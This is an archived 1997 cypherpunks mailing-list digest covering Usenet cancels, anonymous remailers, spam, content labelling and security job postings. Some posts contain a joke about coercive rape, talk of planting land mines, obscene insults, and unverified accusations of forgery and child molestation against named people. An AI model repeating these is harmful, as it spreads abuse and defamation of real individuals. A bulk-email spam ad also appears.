I'm sorry to see this bastard back.

> > I was just pointing out that it's factually incorrect to use
> > "admins" as a synonym for "anti-spammers".
>
> No sane person would suggest that (i.e. lots of peaple on usenet would
> make that suggestion) because if it was true then we wouldn't have the
> problems with agis or uunet.

Tim Skirvin presents these "newbies" with a false view of Usenet as a
unified front of news admins who have all reached consensus that free
speech is evil and are now fighting the evil spammers.

> > Chris Lewis and Dave Barr obth
> > forge cancels for usenet articles that follow up on their articles and quot
> > them, claiming "copyright violations".
>
> This is interesting,  proof please.

Check out Chris Lewis's Net.Scum page at http://www.netscum.net/lewisc0.html.
Find "Edward Gerk" - one of the people who quoted Chris Lewis and whose
articles Chris Lewis canceled for "copyright violations".

Next check out Barr's Net.Scum page at http://www.netscum.net/barrd0.html.
Find "Alain Larouche" - same thing.

> > Once the offending articles are part of the spool on toher site, it's
> > pointless for me to issue cancels.
>
> Not even to free up diskspace?

Correct.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 7 Aug 1997 07:55:04 +0800
To: cypherpunks@toad.com
Subject: Forced Censorship vs. Fucking Your Brains Out
Message-ID: <199708062340.BAA24470@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:
 Have you ever noticed that there
> are "childrens books" sections in the library? 

  Great place to meet "babes," huh Kent?

> You don't complain about physical segregation of children's books,
> or keeping children out of bars.

  I certainly do. I would locate books in a way such that the children 
would be exposed to a variety of materials, instead of herded into 
playpens according to age and size.
  Also, in areas where children are allowed in bars if they serve food,
or until a certain time of night, the atmosphere tends to be raised 
above just being a place for the parents to drink and get drunk.
  A 14 year-old guitar player named Little Charlie used to play with me
at the Austex Lounge in Austin, and the liquor laws required him to 
leave the bar when the band was not onstage. He spent the breaks out
in the parking lot, smoking dope and screwing his brains out with the
young groupies. (My liver is gone, and his dick fell off. Thanks to
the law, I won.)

> So presumably you wouldn't complain about some technical means of
> creating an analog in cyberspace? 
> If so, then voluntary labelling is not so bad.

  I think that a library-type cataloguing system adapted to the unique
form of the InterNet and WWW could be the greatest thing since sliced
bread. I would love not to have to visit 400 sites to find "hardware"
plumbing instead of "women's" plumbing (and vice-versa). Likewise, I
would rather not waste the bandwidth of myself and others when they
visit my site in error, thinking "arson" has to with fires, and not
with sex.

  The problem is that the words "voluntary" and "requirement" have,
through some weird mutation of DoubleSpeak, become synonyms.
  Hardly anybody even tries to pretend, anymore, that they are not 
planning to trample the constitution and fry anyone that gets in their
way when the ElectroMagnetic Curtain clangs shut.
  Even the Nazi's, in the early days, made some pretense of humanity
when shipping fellow humans to the death camps. "Jaccuzzi? No, I don't
thinks so, sir, but I'm certain there are plans for one. Now, climb
aboard, please." Eventually, the reign of terror reached the point where
it was all clubs and guns, with no need for pretense of humanity.

  When the gun-thievery began in earnest, the thieves still had to lie
in bigger and bigger stages, tearing small, then larger, pieces off the
Constitution at each step of their con game.
  With privacy and freedom, however, we have now reached a stage where
the pretense of democracy is perfunctory, with the fascists who are
rattling the chains standing on the stage behind the speaker as he or 
she assures us that "imprisonment for life will be a _voluntary_ 
requirement."

  The person I really feel bad for is Tim May. He used to at least be
able to tell people, "I told you so! Check the archives from my 
previous life, and..."
  Prophecy loses its luster once _everybody_ can predict the future, 
and things have reached the point where everyone recognizes their
cues in the march toward the "Tear-Stained Monologue" where, in an
allegorical way, "The good-guy gets the girl. _I_ wind up dead."

  Face it, we all know where the cattle-cars are going, but they are
carrying _other_ people--for now. Child molesters, drug dealers, and
similar robbing, raping, low-down vermin who shouldn't have any rights,
anyway.
  Oh, and a lady who put a quarter in a stranger's parking meter. And
a 16 year old kid who shared a joint with a 15 3/4 year old friend. And
a guy who pulled a stink-bomb prank on a government office.
  Oh yes, and an employee at Livermore Labs who pledged allegiance to
the flag every day of his life, escrowed his crypto keys with the 
government even before it was required by law to do so, but forgot about
the PGP 2.1 key on the floppy he's been using to shim up the short-leg
of the couch on the front porch for the last few years.

  What are the major players in the computer and media industries 
planning in their secret meetings about the best way to require you
and I to "volunteer?"
  They are planning to collectively "take one step back," leaving us
("voluntarily") standing in the line of fire.
  When the call to assembly comes, I plan on being the first one to
line up. I think I'll position the line "one step ahead" of the land
mines I plant the night before.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 7 Aug 1997 04:25:43 +0800
To: cypherpunks@toad.com
Subject: Re: Eternity Uncensorable?
In-Reply-To: <199708061308.OAA02171@server.test.net>
Message-ID: <Pine.LNX.3.93.970807015433.102A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 6 Aug 1997, Adam Back wrote:

> Mark Grant <mark@unicorn.com> writes:

[...]

> > so all that a government need do to censor a particular site is to
> > scan for those messages and issue cancels.

> - I understand cancels are ignored a lot of places, due to problems with
>   censorous people, and pranksters issuing tons of forged cancels.

And alot like to use canceles.  If censorus groups (not neccery the
goverment) starts canceling we may be able to create a resector like that
used in news.admin.net-abuse.*

[...]

>   I don't have any figures for how widespread the practice of
>   configuring news to ignore cancels is.  

Most sites still hounder cancels,  a growing number ignore them (often for
preformence resons).

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 7 Aug 1997 04:36:30 +0800
To: cypherpunks@toad.com
Subject: Re: distributed data store, a la eternity
In-Reply-To: <cgP1ae7w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970807020129.102B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 6 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

[...]

> However Dejanews doesn't process cancels.

However Dejanews dose not store binaries.  I do not know if there filters
consider PGP ascii armor as a binarie.  So Dejanews may not store the
cancels.  You could try and get it of a "Site of vertue" or jetcafe.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mail@sendmailco.com
Date: Fri, 8 Aug 1997 16:18:13 +0800
To: cypherpunks@Algebra.COM
Subject: RE: 25,000,000 People
Message-ID: <199708070921.CAA11112@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain



Would you be interested in...

* Sending out Bulk Email FREE for 30 Days?
* Receiving 25 MILLION Email Addresses FREE of charge?
* Sending out Bulk Email using your CURRENT Internet Account,
  without EVER having to worry about it being canceled?
* Sending out a FREE Bulk Email Advertisement for your Business
  or Web Page to over 250,000 people per day?
* Posting a FREE Ad for your business to over 25,000 Newsgroups
  in under three hours?

To find out how to do all of this and more for FREE, email our
autoresponder at: send@nim.com

You MUST Place the word "FREE" in the Subject Line so our
autoresponder mailbot can send you this FREE Information!


To be removed from our mailing list, email our autoremover
at: remove@nim.com

You MUST Place the word "REMOVE" in the Subject Line so our
autoremover mailbot can remove you from our mailing list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mail@sendmailco.com
Date: Fri, 8 Aug 1997 16:19:29 +0800
To: cypherpunks@toad.com
Subject: RE: 25,000,000 People
Message-ID: <199708070921.CAA12275@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks,


Would you be interested in...

* Sending out Bulk Email FREE for 30 Days?
* Receiving 25 MILLION Email Addresses FREE of charge?
* Sending out Bulk Email using your CURRENT Internet Account,
  without EVER having to worry about it being canceled?
* Sending out a FREE Bulk Email Advertisement for your Business
  or Web Page to over 250,000 people per day?
* Posting a FREE Ad for your business to over 25,000 Newsgroups
  in under three hours?

To find out how to do all of this and more for FREE, email our
autoresponder at: send@nim.com

You MUST Place the word "FREE" in the Subject Line so our
autoresponder mailbot can send you this FREE Information!


To be removed from our mailing list, email our autoremover
at: remove@nim.com

You MUST Place the word "REMOVE" in the Subject Line so our
autoremover mailbot can remove you from our mailing list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles <apache@bear.apana.org.au>
Date: Thu, 7 Aug 1997 02:30:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <19970806075802.12530@bywater.songbird.com>
Message-ID: <199708061713.DAA09431@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


    Kent Crispin said:

>On Sun, Aug 03, 1997 at 12:29:37PM +0100, Adam Back wrote:
>> Here's the sequence of events as I see it:
>> 
>>  1. spammer spams you with adverisement for phone sex line
>>  2. you try to sue phone sex line company
>>  3. phone sex company denies all knowledge
>>  4. government says all email must be authenticated 
>>  5. government issues internet drivers license
>>  6. anonymous remailers work around authentication requirement
>>  7. government outlaws remailers
>> 
>> See any flaws in that logical and undesirable sequence of events?
>
>The flaws become apparent if you try to attach a *realistic*
>probability to each step.

Wasn't the UPS trying to promote some system of authentication (where you 
pay just as like you purchase postage stamps now) at a trade show of some 
description in the US this year or late last year? I recall a post on 
this to this list but can't recall the detail. Anyone recall the details 
of that post?

I know last year the australian post office suggested such a role for 
themselves and they didn't see it as a voluntary proposal. I haven't 
heard anything from them lately so maybe it was all just too difficult.

- -- 
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///     PGP mail preferred            apache@quux.apana.org.au
>::::::::::\\\     Finger me @bear for PGP PUBKEY      Brisbane AUSTRALIA
   '\\\\\'   \\    Apache



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=lS/d
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 7 Aug 1997 09:51:31 +0800
To: cypherpunks@toad.com
Subject: "Voluntary" Bullshit
Message-ID: <199708070137.DAA10966@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin didn't have any better sense than to write:
> 
> When I said "voluntary" I meant
> voluntary, not some Orwellian variant of the word, OK?  
> Not "mandatory voluntary"

  I know what a "label" is. What is a "voluntary" label?
  A "voluntary" label is nothing more than a threat, plain and simple.
It is the first volley in a coming war of censorship.

  The town I live in sent me a form for paying a "voluntary" fine
for my dog running loose. I thought that was great. I sent them a
letter telling them I would pay my "voluntary" fine when I came in
for my "voluntary" execution.
  I'm old enough to know better, but I was still naieve enough to
be surprised when a gun-toting Mountie with handcuffs and mace and
two billy clubs dropped by to ask me when I was going to pay my 
"voluntary" dog fine. Sure enough, it turns out that if I fail to
pay the "voluntary" fine, a man with a gun comes with a summons 
requiring me to answer to the charge in the presence of the King.
{Not Elvis}
  I walked down to the city office with my dog, who came in and ran
around sniffing the Mountie and city employees as I paid their fine
for not cruelly imprisoning her. I asked how much I owed them for 
not beating her, too, but they just looked at me funny until I left.
  And this is a small country town, with "voluntary" stop signs.

  I think I'll get a knife or gun, climb through a bedroom window,
and find someone who wants to "voluntarily" have sex with me.
  "Ma'am, the reason I climbed through your window in the middle
of the night was to protect your children from inadvertantly
walking in and viewing the obscenity that's about to take place.
  "As a matter of fact, I think there is pending legislation to
_require_ you to have sex with me when I crawl through your
bedroom window in the middle of the night. It's for your own
protection, so that I don't have to bring a weapon, next time."

VoluntaryMonger
"I _choose_ to be an asshole."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 8 Aug 1997 16:17:26 +0800
To: cypherpunks@toad.com
Subject: IPSEC Analyst and Engineers Wanted
Message-ID: <v03110705b00f5e8c2512@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: silence.secnet.com: majordom set sender to
owner-security-jobs@secnet.com using -f
From: "Meryweather, Rod" <Rod.Meryweather@wang.com>
To: "'security-jobs@secnet.com'" <security-jobs@secnet.com>
Subject: IPSEC Analyst and Engineers Wanted
Date: Wed, 6 Aug 1997 15:51:30 -0400
X-Priority: 3
MIME-Version: 1.0
Sender: owner-security-jobs@secnet.com
Precedence: bulk

WANG GOVERNMENT SERVICES
SECURITY SERVICES
POSITION OVERVIEW AND SUMMARY

Organization Overview
The Wang GS Security Services organization is a descendant from the
Honeywell Information Systems group that has been focused on developing
High Assurance computing solutions for the US Government since the late
1970's.  Honeywell was the first vendor to have a system evaluated by
the NSA National Computer Security Center (NCSC) against the Orange Book
(a document that defines levels of trust that can be reached by
operating systems) at the A1 level - the highest - in 1984.  Our XTS 300
product is a direct descendent of the A1 SCOMP platform, and is
currently evaluated at the B3 level of trust.

The Security Services (SS) organization focuses on development and
deployment of secure solutions.   Product activities are contained in a
group focused on the XTS 300 operating system and a trusted guard
development framework product (the SAGE).  The rest of the organization
is focused on implementation of task-specific solutions.  These
currently include:

The DMS/DII Guard:  This is a multi-year development effort that will
result in a XTS 300-based X.400/X.500 guard with strong user
authentication and encryption support (FORTEZZA).

The State Department Guard:  This is a new project that will implement a
proprietary (State-compliant) XTS 300-based telegram network guard that
works with identification of unclassified telegrams.

The Command and Control Guard:  The C2G effort involves the evolution of
an existing XTS 300-based Government-owned Guard application that is
deployed world-wide.

The FBI:  Wang currently has developed and deployed multiple IBM
communications guards for the FBI, and continues to evolve and enhance
the functional capabilities of these XTS 300-based systems.

The IRS:  This effort does not involve the XTS 300.  Rather, Wang is
responsible for the EDI telecommunications and security infrastructure
of the IRS Tax Collection system, based on an NCR commercial Unix
platform.

DLA Security Assessment:  Wang currently supports the security planning,
assessment and accreditation activities with the DLA and the Defense
MegaCenter in Dayton, Ohio.

General Technical Requirements
Excellent C and Unix skills (we do not code in C++ except for the IRS
project).  Strong structured design and documentation skills.  Linux OS
on Pentium workstation.  Heavy emphasis on one of the following areas:
Computer Security, Unix Kernel (device drivers, printer drivers, API, OS
construction), Communications (TCP/IP, X.400, X.500, SNMP), Encryption
(PCMCIA or software-based), GUI development (X), Testing.  MUST be
clearable to TS.  MUST have a BS degree or equivalent experience.  MUST
be a self-starter and quick learner.   Competitive compensation and
benefits, casual dress code, technical organization.  Herndon location
as of August 1, 1997.  See
http://www.wangfed.com/products/ssso/homepage.html for product details,
http://wang.com for information about Wang.

Specific Positions

Senior OS Developer (1)

Candidate will be a member of the XTS 300 OS development staff, and
should have considerable exposure (8-15 years) to the construction and
enhancement of a Unix OS.  Activities include API development and
enhancement, device driver implementation (e.g., printer, SCSI,
"console", PCMCIA devices, ethernet (802.3 + 100Mb or ATM)), application
porting (e.g., X), bug fixes, and new platform porting (from one Pentium
mother board to the next).  Orange Book security a BIG plus.

Junior OS Developer (2)

Candidate will be a member of the XTS 300 OS development staff, and
should be very comfortable with heavy structured C and Unix (OS
construction, release building from source, etc.)  Linux experience a
big plus.  2-5 years experience with heavy C, Unix, and at least one of
the following:  GUI development, application porting on Unix,
communications (TCP/IP, X.4/500, SNMP),  systems installation and debug,
heavy scripts, heavy testing. Orange Book security a BIG plus.

XTS 300 GUI Developer

Candidate will initially be assigned to the State Department Guard task,
and will be responsible for the specification, design, development,
implementation, testing and documentation of the man-machine interfaces
for this Guard (Main-in-the-Middle review capability, dirty word list
management, report generation, etc.).  This will be developed with a
subset of X (Motif-based).  3-5 years experience in X, C, Unix,
documentation, design.

Sr. XTS Applications Developer (3)

Candidate will be a member of the XTS 300 Application Development focus
group, and will be responsible for a lead role in the development of
Guard applications.  Must have 8-15 years heavy C, Unix, Comm (TCP/IP,
X.4/500), structured design, documentation, development, implementation,
testing, debug and support.  Orange Book Security and Guard/Firewall
design a big plus.

Jr. XTS Applications Developer (3)

Candidate will be a member of the XTS 300 Application Development focus
group, and will be responsible for a supporting role in the development
of Guard applications.  Must have 2-5 years heavy C, Unix, with a focus
in one or more of the following: Comm (TCP/IP, X.4/500), structured
design, documentation, development, implementation, testing, debug and
support.  Orange Book Security and Guard/Firewall design a big plus.

Accreditation Support/Risk Assessment

Candidate will be a member of the DMS/DII Guard Development and
Deployment team, and will be responsible for taking a lead role in the
assessment and justification of the assurance of the Guard architecture.
Required 6-12 years experience with trusted solutions and architectures,
X.400/X.500, accreditation and deployment issues.  Strong documentation
and communications (verbal) experience.



Rod Meryweather
Sr. Security Analyst

                     Wang Federal, Inc.
Rod.Meryweather@wang.com
                     540 Huntmar Park Dr.                Wk:  (703)
827-3818
                     Herndon , Va 22102-4299          Fax: (703)
827-3161




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 8 Aug 1997 16:18:05 +0800
To: cypherpunks@toad.com
Subject: Applied crypto, security guru needed, from Coopers & Lybrand
Message-ID: <Pine.GSO.3.95.970807080202.6016A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



[From a CMU computer science department mailing list. --Declan]

---------- Forwarded message ----------
>From: Dahl Gerberick <Dahl.Gerberick@us.coopers.com>
>
>Hi,
>
>I recently took a senior level position with Coopers & Lybrand in Boston.
>As such it has come to my attention that they are looking for someone with
>the following background.
>
>I do not expect that you will know where I can find such a person right
>now, but if you keep this message handy you might think of me if that
>person should come along in the near future.
>
>If you should find someone who meets these requirements please get back to
>me, or have them contact me directly.
>
>          Dahl Gerberick
>          617-478-9936 (Office)
>          617-478-5900 (Fax)
>          617-784-2701 (Home)
>          gerberick@acm.org
>
>Thanks
>Dahl - -
>
>PS:  Feel free to redistribute this message as you see fit.
>
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
>- - - - - - - - - - - - - - - - - - - - -
>
>  1.  Minimum 5- 10 years experience in applied cryptography
>
>  2.  Ability to design and implement security applications that utilize
>       encryption technology
>
>  3.  Extensive knowledge of X.509 standards for digital certificates
>
>  4.  Detailed knowledge of all prevailing algorithms, DES, IDEA, RSA,
>       Elliptic curve, etc.
>
>  5.  Algorithm development background not necessary
>
>  6.  Intimate knowledge of all national standards for cryptographic
>       implementations such as ANSI X.9 working group standards
>
>  7.  Intimate knowledge of all commercially available encryption
>       products from vendors such as Entrust, Verisign, Cylink, IBM,
>       GTE, etc.
>
>  8.  Knowledge of legal implications of electronic commerce such
>       as ABA Digital Signature standard
>
>  9.  Security consulting background a plus
>
>  10. Technical skill in TCP/IP, UNIX, internetworking technology
>
>
>
>










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 8 Aug 1997 16:18:45 +0800
To: Adam Back <mark@unicorn.com
Subject: Re: Eternity Uncensorable?
In-Reply-To: <Pine.LNX.3.91.970806145040.16936A-100000@cowboy.dev.madge.com>
Message-ID: <v03102800b00fa166efe1@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>Mark Grant <mark@unicorn.com> writes:
>> On Wed, 6 Aug 1997, Adam Back wrote:
>The solution is to have disposable tents, lots of.
>
>What about AOL disks?  We need shorter lived, disposable remailers as
>exit remailers...  Let them take the heat, while the real remailers
>walk.  Lets see a series of "exitman" remailers.  Exitman remailers
>are walking targets left to fend for themselves as long as they may.
>
>I propose that an exit remailer is replaceable, that is another
>remailer can instantly step into it's place and take traffic.  The way
>to do this is to have a special automated reporting mechanism for
>exitman remailers.  An easy way to do it is to have the exitman
>remailers send mail to a given mailing list.  Other remailers which
>wish to use exitman remailers just subscribe to the chosen mailing
>list.  We just need a remailer command indicating the creation of a
>new exitman remailer.  I guess the exitman remailer just sends one
>message per day, or whatever, and if it stops, you write it off.
>
>Is there a military term for something sent in to get shot to bits,
>just to distract attention from other movement?  A decoy?

A possible problem is the motivation of those setting up decoys.  If
they're doing it to help thwart remailer abuse, fine.  But what if their
intent is to thwart remailers?  Couldn't these dissidents set up black-hole
remailers which are simply information sinks?  When a email is
chain-remailed and doesn't get delivered many, but not all, senders would
simply assume one of the remailers are having delivery problems and resend.
Will Raph's approach work to monitor  decoys when their number and identity
are constantly changing?  Won't this significantly complicate remailer
clients?

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 8 Aug 1997 16:18:05 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Query on cookies
In-Reply-To: <Pine.GSO.3.95.970806122031.8195G-100000@well.com>
Message-ID: <v03102801b00fa6631bf9@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:23 PM -0700 8/6/97, Declan McCullagh wrote:
>Does anyone have a detailed understanding of how cookies work? I've read
>Netscape's explanation of the protocol, but I still have some questions.
>
>-Declan

The July issue of Internet World, "Baking Your Own Cookies," contains a
good introduction into some of the details.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 8 Aug 1997 16:17:05 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Query on cookies
In-Reply-To: <v03102801b00fa6631bf9@[10.0.2.15]>
Message-ID: <Pine.GSO.3.95.970807093112.4169A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks for the help, folks. This is for an article on privacy I was
working on, and I found the info I needed. For instance, Netscape's
explanation of the protocol left me wondering about whether cookies from
acme.com could be requested by competitor.com.

I ended up talking to some Netscape engineers, who were as puzzled as I
was by where the term "cookie" came from. But I found it in the good ol'
Jargon File... 

-Declan


On Thu, 7 Aug 1997, Steve Schear wrote:

> At 12:23 PM -0700 8/6/97, Declan McCullagh wrote:
> >Does anyone have a detailed understanding of how cookies work? I've read
> >Netscape's explanation of the protocol, but I still have some questions.
> >
> >-Declan
> 
> The July issue of Internet World, "Baking Your Own Cookies," contains a
> good introduction into some of the details.
> 
> --Steve
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 8 Aug 1997 16:19:10 +0800
To: cypherpunks@toad.com
Subject: Re: "A new battle over keeping the Net clean," by J.Weber/LATimes
In-Reply-To: <ww01-BHeVX12341@netaddress.usa.net>
Message-ID: <v03102807b00fac87b0aa@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:23 PM -0700 8/5/97, bpettigrew@usa.net wrote:

>The solution to bad speech is more speech.  Don't suppress, ban,
>or oppose RSAC.  Provide alternatives.
>

Most of us aren't trying to "ban" labels, or suppress or oppose them, per se.

Just to ban, suppress, and oppose:

- any scheme to require them

- any scheme in which labels are an "affirmative defense"

- any "mandatory voluntary" schemes

- any moves to legislate or dictate the forms labels may take


--Tim May




Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Fri, 8 Aug 1997 16:22:20 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Qualcomm employee attacks the remailers
Message-ID: <3.0.16.19691231190000.4a57c97e@pop.netaddress.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:37 PM 8/6/97 EDT, The Anti American, KGB loving  bucket of animal
dung and human excrement :
 Dr.Dimitri Vulis KOTM wrote the following, and again the master of
disinformation and  harassing e-mail, points
out that others are targeting him for the abuses that he is famous for.

Are we expected to have sympathy for this dick brain?


>
>Paul Pomes <ppomes@Qualcomm.com> writes:
>
>> |Paul Pomes sends me harrassing e-mail and quotes more obscenities from
>> |the anonymous remailers:
>
>such as:
>
>]I take this all to mean that you are Master Cocksucker Dimwit Vulis?
>
>> As you posted the obscenities in the first place I fail to understand your
>> objections.
>
>
>Lie from Pomes: I never in my life sent anything to this motherfucker.
>
>Another lie from Pomes: a few days ago the motherfucker wrote:
>
>]Subject: Re: Entrust Technologies's Solo - free download
>]From: Paul Pomes <ppomes@Qualcomm.com>
>]Organization: Qualcomm, Inc.
>]To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
>]Cc: freedom-knights@jetcafe.org
>]Date: Wed, 30 Jul 1997 09:13:52 -0700
>]Message-Id: <9502.870279232@zelkova.qualcomm.com>
>]Sender: ppomes@Qualcomm.com
>]
>]At 9:22 EDT on Wednesday, July 30, 1997, Dr.Dimitri Vulis KOTM wrote:
>]
>]|I ask everyone on these two forums to inform Northern Telecom Forgers /
>]|Bell North Forgery Research / Entrust that we will boycott their
>]|"security" products as long they continue to employ the child-molesting
>]|pedophile Chris R. Lewis - the biggest forger on Usenet.
>]
>]Sorry, I'm afraid that honor belongs to you, Dimi.  What I will do is
>]killfile you as also the biggest un-cultured twit on Usenet.  High honors
>]of a sort.
>]
>]/pbp
>
>Clearly Pomes lied about having killfiled me.
>
>Pomes harrasses anonymous remailer operators: he has been complaining to
>Jeff Berches's employer and upstream, contributing to his decision
>to shut down the cajones remailer:
>
>]To: abuse@hotwired.com, abuse@bbnplanet.net, remailer-admin@cajones.com
>]        jeff@hotbox.com, ops@bbnplanet.com, toxic@content.org,
>]        dgaudet-djg20@arctic.org
>]From: Paul Pomes <ppomes@Qualcomm.com>
>
>Tim Skirvin condones and supports net-abuse by Net.Scum like Pomes,
>Hannigan, and Varshavchik.
>
>Please tell Qualcomm what you think about their employee attacking
>the anonymous remailers.
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Fri, 8 Aug 1997 16:18:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: anti-spam law implies laws against remailers?
In-Reply-To: <199708061705.SAA03362@server.test.net>
Message-ID: <97Aug7.103456edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 6 Aug 1997, Adam Back wrote:

> 2) When the government or whoever wants to sue someone for spam they
>    will have to prove who the spammer is.  (Right?)  So now they'll
>    look at the From address at it will say remailer@foo.com.  So
>    they'll go have a chat to Fred Q Cypherpunk who operates foo, and he
>    won't be able to cooperate because he doesn't keep logs.  They won't
>    be happy with Fred, and will pass this information along to him by
>    stealing his equipment, prosecuting him for assisting in a felony
>    crime (they'll make it a felony right?), lock him and throw away
>    the key.  But what about Freds constitutional protection of the
>    speech forwarded by his remailer?  (Judge + congress-critter:
>    Constitution wassat?)
> 
> 3) Repeat step 2 x 100 and "something will have to be done" about the
>    remailers (if there are any left!)  It really isn't that far
>    fetched to have laws against remailers in the US.  Not so long ago
>    the guy from the two-man band Georgia EFF were telling us about how
>    they fought some law which had already tried to do this in that
>    state.

I suppose you could sue a local office or copier services place if I sent
one "unsolicited commercial fax" using their equipment, but it would be
impractical.

Most of the spam I get has thousands of other recipients, and none of it
has ever gone through a remailer, and always points to a "spam-friendly" 
ISP, or often already has their account cancelled by the time I report it. 

If we could get AGIS (the last of the large bandwidth suppliers) to pull
the plug on the IEMMC sites - I already have many spams from their members
violating their code - most spam would disappear.  It also seems that AGIS
is getting a bad reputation, but I don't know how many sites are leaving
or joining, but if they don't have interesting content, and don't pull the
plug on the IEMMC, adjustments to enough routing tables will accomplish
the same thing.

If we can stop the bulk spammers, things would quiet down.  The problem is
to stop the smokestack belching smoke without preventing me from using a
torch in my back-yard at night.

If remailers don't automatically do anonymous mailings to a 10,000 entry
Bcc: list, they would only be able to spam a few hundred people at a time
even using remailers.

Generally that isn't enough to be worth the time since only a tiny
fraction of a percentage will respond to generic requests.  If you can
only do 500, it would then pay to get a narrower list, or even personalize
things, and I might actually read something that interests me.  No one
considers announcements for cryptographic technology products on this list
as "SPAM".

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Thu, 7 Aug 1997 09:10:27 +0800
To: cypherpunks@toad.com
Subject: Old Cryto stuff,
Message-ID: <Pine.SOL.3.91.970807104936.23520B-100000@hardy>
MIME-Version: 1.0
Content-Type: text/plain



Can anybody suggest any good books on old cryto techniques ?? I'm finally 
learning to program, along with the stuff i've got to learn as part of 
the class i thought i would make a start on learning to code 
crypotgraphic algorithms. I was after some old ones that are simple to 
code in software. Unfortuently the one in the back of the Schnier book 
